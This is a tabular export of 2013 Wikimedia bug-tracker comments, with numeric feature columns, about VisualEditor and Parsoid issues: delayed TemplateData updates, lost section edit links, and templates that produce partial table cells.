235187,Updated TemplateData from transcluded items take a long time to show up,"Argh, that's not good - https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Talkback is not updated even though it appears in transclusion, even after purge. Timo, thoughts?",,,1372457003,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.730769230769231,0.8461538461538461,"Argh, that's not good - URL is not updated even though it appears in transclusion, even after purge. Timo, thoughts?"
235179,Updated TemplateData from transcluded items take a long time to show up,https://en.wikipedia.org/wiki/User:Okeyes_%28WMF%29/sandbox?veaction=edit <- check out the talkpage template.,,,1372456502,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.6666666666666665,1.0,URL <- check out the talkpage template.
235173,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #6)
> Nope; remember that time I added it to the bugzilla tracked template, and
> nothing happened?

No.

> Well, it started working finally some time today.

That's not good. Did you purge the template, or did it get purged somehow (e.g. it was edited)?

> I'm going to try implementing it in a couple of other minor places and look
> at what happens.

OK.",,,1372455968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,4.0,4.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8979591836734695,0.6938775510204082,"(In reply to comment #6)
QUOTE
QUOTE

No.

QUOTE

That's not good. Did you purge the template, or did it get purged somehow (e.g. it was edited)?

QUOTE
QUOTE

OK."
235167,Updated TemplateData from transcluded items take a long time to show up,"Nope; remember that time I added it to the bugzilla tracked template, and nothing happened? Well, it started working finally some time today. I'm going to try implementing it in a couple of other minor places and look at what happens.",,,1372455886,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,4.0,2.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,4.041666666666667,0.8333333333333334,"Nope; remember that time I added it to the bugzilla tracked template, and nothing happened? Well, it started working finally some time today. I'm going to try implementing it in a couple of other minor places and look at what happens."
235160,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #4)
> I'd go with A and C, Chris. If I add TemplateData to a template, go to an
> implementation of it that already exists and click the jigsaw piece, how long
> do I need between those actions to see the TemplateData?

A: This should be instantaneous - if not, action=purge on the template should do it; if not, this is an issue we need to follow-up in general with how MW works.
B: This is not yet done (bug 49778 which is being worked on right now).
C: This should be near-instantaneous (but we're about to change how this works to make it faster).

For A & C in particular as you've asked, seconds or even less. Was this during a time of serious server strain, maybe? Otherwise it sounds worrying.",,,1372454024,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,1.5,4.5,1.5,0.0,0.0,1.0,4.0,1.5,0.0,0.0,0.0,1.0,0.0,8.5,10.0,0.0,2.5,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.0,2.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,8.5,3.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,4.5,9.5,2.0,2.0,6.0,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,4.0,10.0,2.5,0.5,0.0,0.0,4.0,0.0,1.5,1.0,0.0,0.5,1.5,0.0,0.0,3.246268656716418,0.8134328358208955,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

A: This should be instantaneous - if not, action=purge on the template should do it; if not, this is an issue we need to follow-up in general with how MW works.
B: This is not yet done (bug 49778 which is being worked on right now).
C: This should be near-instantaneous (but we're about to change how this works to make it faster).

For A & C in particular as you've asked, seconds or even less. Was this during a time of serious server strain, maybe? Otherwise it sounds worrying."
235155,Updated TemplateData from transcluded items take a long time to show up,"I'd go with A and C, Chris. If I add TemplateData to a template, go to an implementation of it that already exists and click the jigsaw piece, how long do I need between those actions to see the TemplateData?",,,1372451744,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,20.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,15.0,11.0,2.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6739130434782608,0.782608695652174,"I'd go with A and C, Chris. If I add TemplateData to a template, go to an implementation of it that already exists and click the jigsaw piece, how long do I need between those actions to see the TemplateData?"
235150,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #2)
> As does the fr implementation. I guess the question here is ""how long does it
> take for TemplateData implementations to show up?""

Do you mean,

* ""how long does it take newly-added TemplateData hinting to become available in the API for use in VisualEditor?"",
* ""how long does it take the VisualEditor transclusions dialog to show with the TemplateData hinting when adding a template in?"", or
* ""how long does it take the VisualEditor transclusions dialog to show with the TemplateData hinting on load?""

… or something else?",,,1372451659,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,3.0,3.0,7.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,11.0,4.0,2.0,6.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,4.0,12.0,7.0,4.0,6.0,0.0,4.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,3.7551020408163267,0.5102040816326531,"(In reply to comment #2)
QUOTE
QUOTE

Do you mean,

* ""how long does it take newly-added TemplateData hinting to become available in the API for use in VisualEditor?"",
* ""how long does it take the VisualEditor transclusions dialog to show with the TemplateData hinting when adding a template in?"", or
* ""how long does it take the VisualEditor transclusions dialog to show with the TemplateData hinting on load?""

… or something else?"
235144,Updated TemplateData from transcluded items take a long time to show up,"As does the fr implementation. I guess the question here is ""how long does it take for TemplateData implementations to show up?""",,,1372423465,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,4.0,4.0,8.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.115384615384615,0.8846153846153846,"As does the fr implementation. I guess the question here is ""how long does it take for TemplateData implementations to show up?"""
235139,Updated TemplateData from transcluded items take a long time to show up,"Belay that, {{tracked}} works.",,,1372423444,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7,0.8,"Belay that, {{tracked}} works."
52369,Section edit links disappear following an unclosed {{,"This was seen in revisions prior to https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=561926823&oldid=561926781 and fixed in that revision.

For a reduced testcase see <https://test.wikipedia.org/wiki/Section_edit_links_bug2>. The cause seems to be the unclosed `{{`. Of course, this is broken wikitext, but the parser seems to be able to handle it fine (other than leaving out section edit links).

Sorry I can't be more specific.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=73182",Medium,50.0,1372420380,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ogwe6d555gi7xn3bq357,task_description,open,True,c1,2,False,False,,-1,,0.0,0.0,0.0,2.0,1.0,6.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,3.4536082474226806,0.6701030927835051,"This was seen in revisions prior to URL and fixed in that revision.

For a reduced testcase see <URL The cause seems to be the unclosed CODE. Of course, this is broken wikitext, but the parser seems to be able to handle it fine (other than leaving out section edit links).

Sorry I can't be more specific.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL"
52366,Templates that create part (but not all) of a table cell don't work,"Screenshot

See screenshot; Windows 7, Firefox 21.0, on https://en.wikipedia.org/wiki/Rage_Against_the_Machine?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50589

**Attached**: {F11166}",Medium,50.0,1372417680,1374455443.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bcblwti2swge5nlt24om,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.196078431372549,0.49019607843137253,"Screenshot

See screenshot; Windows 7, Firefox 21.0, on URL

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL

**Attached**: {F11166}"
234799,Templates that create part (but not all) of a table cell don't work,"This bug was raised five months earlier.

*** This bug has been marked as a duplicate of bug 44498 ***",,,1374455443,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.230769230769231,0.6923076923076923,"This bug was raised five months earlier.

*** This bug has been marked as a duplicate of bug 44498 ***"
234794,Templates that create part (but not all) of a table cell don't work,"Similar hack, but now on the table itself, instead of a table cell. See the Infobox of WikiProject Aircraft:

https://en.wikipedia.org/wiki/BAC_One-Eleven",,,1373226373,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,24.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.8,0.84,"Similar hack, but now on the table itself, instead of a table cell. See the Infobox of WikiProject Aircraft:

URL"
234789,Templates that create part (but not all) of a table cell don't work,"FYI, we are considering a post-processing work-around in Parsoid that lets this class of templates render as expected, but might not let users edit those templated cells.

Our longer-term goal is to move towards more self-contained templates. This won't happen over night, and we'll need the help of the editor community and bot authors.",,,1372783809,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,1.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,10.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,4.014084507042254,0.8309859154929577,"FYI, we are considering a post-processing work-around in Parsoid that lets this class of templates render as expected, but might not let users edit those templated cells.

Our longer-term goal is to move towards more self-contained templates. This won't happen over night, and we'll need the help of the editor community and bot authors."
234785,Templates that create part (but not all) of a table cell don't work,"Bug 50589 is a different issue, so I reopened it and added detail there.",,,1372782144,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6875,1.0,"Bug 50589 is a different issue, so I reopened it and added detail there."
234780,Templates that create part (but not all) of a table cell don't work,"**kwwilliams** wrote:

50589 has been marked as a duplicate of this bug. I'm certain it's related, but I'm not certain it's a duplicate. *If* it is a duplicate, marking it as ""wontfix"" isn't an acceptable answer. 

singlechart *does* return the leading | or !, depending on whether it has been ask to generate a row or a header row. It generates two row cells, separated by a |.",,,1372781691,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,1.0,2.0,3.0,2.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,2.0,3.0,9.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,8.0,8.0,1.0,0.0,2.0,0.0,8.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.2842105263157895,0.5894736842105263,"**kwwilliams** wrote:

50589 has been marked as a duplicate of this bug. I'm certain it's related, but I'm not certain it's a duplicate. *If* it is a duplicate, marking it as ""wontfix"" isn't an acceptable answer. 

singlechart *does* return the leading | or !, depending on whether it has been ask to generate a row or a header row. It generates two row cells, separated by a |."
234778,Templates that create part (but not all) of a table cell don't work,*** Bug 50589 has been marked as a duplicate of this bug. ***,,,1372781089,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50589 has been marked as a duplicate of this bug. ***
234775,Templates that create part (but not all) of a table cell don't work,*** Bug 50567 has been marked as a duplicate of this bug. ***,,,1372781074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50567 has been marked as a duplicate of this bug. ***
234771,Templates that create part (but not all) of a table cell don't work,"I don't have precise figures right now, but know enough to be sure that a bot will be needed. This bot pass should also fix some other issues listed in http://www.mediawiki.org/wiki/Parsoid/limitations. Do you know a bot author who might be potentially interested in a task like this? We have it on our TODO list, but did not have the time to tackle it before the release.",,,1372733221,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,1.0,0.0,0.0,1.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,8.0,11.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,8.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,11.0,1.0,1.0,0.0,0.0,8.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.7777777777777778,"I don't have precise figures right now, but know enough to be sure that a bot will be needed. This bot pass should also fix some other issues listed in URL Do you know a bot author who might be potentially interested in a task like this? We have it on our TODO list, but did not have the time to tackle it before the release."
234765,Templates that create part (but not all) of a table cell don't work,"(In reply to comment #4)
> This cannot easily be parsed in Parsoid while also retaining round-trip
> information. And even if we could, this would be very hard to represent in
> HTML so that the VisualEditor can present a sensible user interface for it. So
> this will remain a limitation of Parsoid.

I'd like to know how many pages are affected by this bug across Wikimedia wikis before it's marked wontfix. Re-opening this for now.",,,1372726569,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,17.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,4.0,17.0,7.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.391304347826087,0.8043478260869565,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

I'd like to know how many pages are affected by this bug across Wikimedia wikis before it's marked wontfix. Re-opening this for now."
234759,Templates that create part (but not all) of a table cell don't work,"The issue is normally something of this form:

{|
| {{style-and-cell}}
|}

The transclusion returns some attributes and possibly table content.

This cannot easily be parsed in Parsoid while also retaining round-trip information. And even if we could, this would be very hard to represent in HTML so that the VisualEditor can present a sensible user interface for it. So this will remain a limitation of Parsoid.

This issue can however be avoided by changing the template to return the entire table cell including the leading pipe:

{|
{{style-and-cell}}
|}

with {{style-and-cell}} containing:

| style=""the style"" | The cell content",,,1372722914,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.5,0.5,0.5,1.0,0.5,2.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.5,7.5,7.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,15.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,6.0,2.0,3.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,7.5,2.0,0.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.6214912280701754,0.6949122807017545,"The issue is normally something of this form:

{|
| {{style-and-cell}}
|}

The transclusion returns some attributes and possibly table content.

This cannot easily be parsed in Parsoid while also retaining round-trip information. And even if we could, this would be very hard to represent in HTML so that the VisualEditor can present a sensible user interface for it. So this will remain a limitation of Parsoid.

This issue can however be avoided by changing the template to return the entire table cell including the leading pipe:

{|
{{style-and-cell}}
|}

with {{style-and-cell}} containing:

| style=""the style"" | The cell content"
